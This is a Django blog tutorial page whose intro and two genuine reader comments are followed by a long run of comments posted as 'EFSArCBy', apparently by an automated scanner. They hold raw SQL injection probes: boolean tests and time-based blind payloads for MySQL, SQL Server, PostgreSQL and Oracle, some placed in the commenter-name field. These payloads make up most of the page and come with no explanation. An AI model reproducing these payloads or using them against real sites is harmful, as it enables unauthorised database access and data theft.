In this django crash course, you will learn how to build a blog using Django. I'm going to start with very basic django, so even beginners should be able to follow along.
The course will be split into nine different parts and i will publish two parts per week the next month. I will base the blog on a template, so it will look very awesome when we're finished.
The blog will have all the functionality you expect from a blog like categories, comments, search and similar.
juk | Aug 15, 21 09:55
Hi Stein, really like your tutorials. I am wondering whether you have any plans for sharing the way to create "the course apps" like this? so users can subscribe their plan to join the course and track their progress. I think this is so interesting....
Thank you so much,
Stay safe and healthy!
EB
Stein Ove Helset | Aug 15, 21 02:55
Yes! I am working on it right now and will start to release a course for a learning management system very soon :-)
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
555
EFSArCBy | Jul 02, 26 11:14
-1 OR 2+846-846-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
-1 OR 2+836-836-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:14
-1' OR 2+340-340-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
-1' OR 2+37-37-1=0+0+0+1 or 'CKpmTSWv'='
EFSArCBy | Jul 02, 26 11:14
-1" OR 2+657-657-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:14
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:14
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:14
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:14
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:14
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555yG5a9sNf'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:14
555-1 OR 538=(SELECT 538 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555-1) OR 315=(SELECT 315 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555gkz515ZW' OR 666=(SELECT 666 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555LdgFYhcL') OR 985=(SELECT 985 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555e8ADqR2I')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:14
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:14
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555'"
EFSArCBy | Jul 02, 26 11:15
@@T4vuG
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
-1 OR 2+775-775-1=0+0+0+1 -- | Jul 02, 26 11:15
555
-1 OR 2+31-31-1=0+0+0+1 | Jul 02, 26 11:15
555
-1' OR 2+556-556-1=0+0+0+1 -- | Jul 02, 26 11:15
555
-1' OR 2+530-530-1=0+0+0+1 or 'oBrGMxLK'=' | Jul 02, 26 11:15
555
-1" OR 2+328-328-1=0+0+0+1 -- | Jul 02, 26 11:15
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:15
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:15
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:15
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:15
555
EFSArCByZlBJIhkC'; waitfor delay '0:0:15' -- | Jul 02, 26 11:15
555
EFSArCByo5cBUYTO' OR 589=(SELECT 589 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCByBGiWoFnP') OR 139=(SELECT 139 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCByuoctPExr')) OR 138=(SELECT 138 FROM PG_SLEEP(15))-- | Jul 02, 26 11:15
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy'" | Jul 02, 26 11:15
555
@@NVupS | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 02, 26 11:15
555
EFSArCBy | Jul 20, 26 11:25
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
-1 OR 2+637-637-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:30
-1 OR 2+566-566-1=0+0+0+1
EFSArCBy | Jul 20, 26 11:30
-1' OR 2+628-628-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:30
-1' OR 2+805-805-1=0+0+0+1 or 'qjuN0Dn9'='
EFSArCBy | Jul 20, 26 11:30
-1" OR 2+90-90-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 11:30
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 11:30
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 11:30
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 11:30
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 11:30
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:30
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:30
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:30
555RmuvL9Pk'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 11:30
555-1 OR 702=(SELECT 702 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555-1) OR 69=(SELECT 69 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555QEjPH1IE' OR 310=(SELECT 310 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555K3pRviPh') OR 607=(SELECT 607 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555yiumWZov')) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 11:30
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 11:30
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555'"
EFSArCBy | Jul 20, 26 11:30
@@poifC
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
-1 OR 2+103-103-1=0+0+0+1 -- | Jul 20, 26 11:30
555
-1 OR 2+388-388-1=0+0+0+1 | Jul 20, 26 11:30
555
-1' OR 2+245-245-1=0+0+0+1 -- | Jul 20, 26 11:30
555
-1' OR 2+778-778-1=0+0+0+1 or 'hJ34LDRB'=' | Jul 20, 26 11:30
555
-1" OR 2+392-392-1=0+0+0+1 -- | Jul 20, 26 11:30
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:30
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:30
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:30
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:30
555
EFSArCBy55PpP13Z'; waitfor delay '0:0:15' -- | Jul 20, 26 11:30
555
EFSArCByq4HUu4cJ' OR 180=(SELECT 180 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30
555
EFSArCByl4btRAZz') OR 138=(SELECT 138 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30
555
EFSArCByAxUT9Ko7')) OR 229=(SELECT 229 FROM PG_SLEEP(15))-- | Jul 20, 26 11:30
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy'" | Jul 20, 26 11:30
555
@@ZLx7f | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 20, 26 11:30
555
EFSArCBy | Jul 23, 26 02:18
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
-1 OR 2+673-673-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:25
-1 OR 2+28-28-1=0+0+0+1
EFSArCBy | Jul 23, 26 02:25
-1' OR 2+830-830-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:25
-1' OR 2+175-175-1=0+0+0+1 or 'XZblDK7D'='
EFSArCBy | Jul 23, 26 02:25
-1" OR 2+535-535-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 02:25
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 02:25
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 02:25
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 02:25
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 02:25
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:25
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:25
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:25
555IexUfOMx'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 02:25
555-1 OR 978=(SELECT 978 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555-1) OR 396=(SELECT 396 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555-1)) OR 453=(SELECT 453 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555f1uLShAm' OR 152=(SELECT 152 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555hHTLnDdQ') OR 919=(SELECT 919 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555ED3nBdQH')) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 02:25
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 02:25
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555'"
EFSArCBy | Jul 23, 26 02:25
@@0lJ6v
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
-1 OR 2+886-886-1=0+0+0+1 -- | Jul 23, 26 02:25
555
-1 OR 2+235-235-1=0+0+0+1 | Jul 23, 26 02:25
555
-1' OR 2+496-496-1=0+0+0+1 -- | Jul 23, 26 02:25
555
-1' OR 2+950-950-1=0+0+0+1 or 'kBU4VUlP'=' | Jul 23, 26 02:25
555
-1" OR 2+952-952-1=0+0+0+1 -- | Jul 23, 26 02:25
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:25
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:25
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:25
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:25
555
EFSArCByjhHR3E5m'; waitfor delay '0:0:15' -- | Jul 23, 26 02:25
555
EFSArCBy3OWeWvKG' OR 780=(SELECT 780 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25
555
EFSArCByoYvBeUah') OR 444=(SELECT 444 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25
555
EFSArCByYFOoGitA')) OR 353=(SELECT 353 FROM PG_SLEEP(15))-- | Jul 23, 26 02:25
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy'" | Jul 23, 26 02:25
555
@@3cSPl | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555
EFSArCBy | Jul 23, 26 02:25
555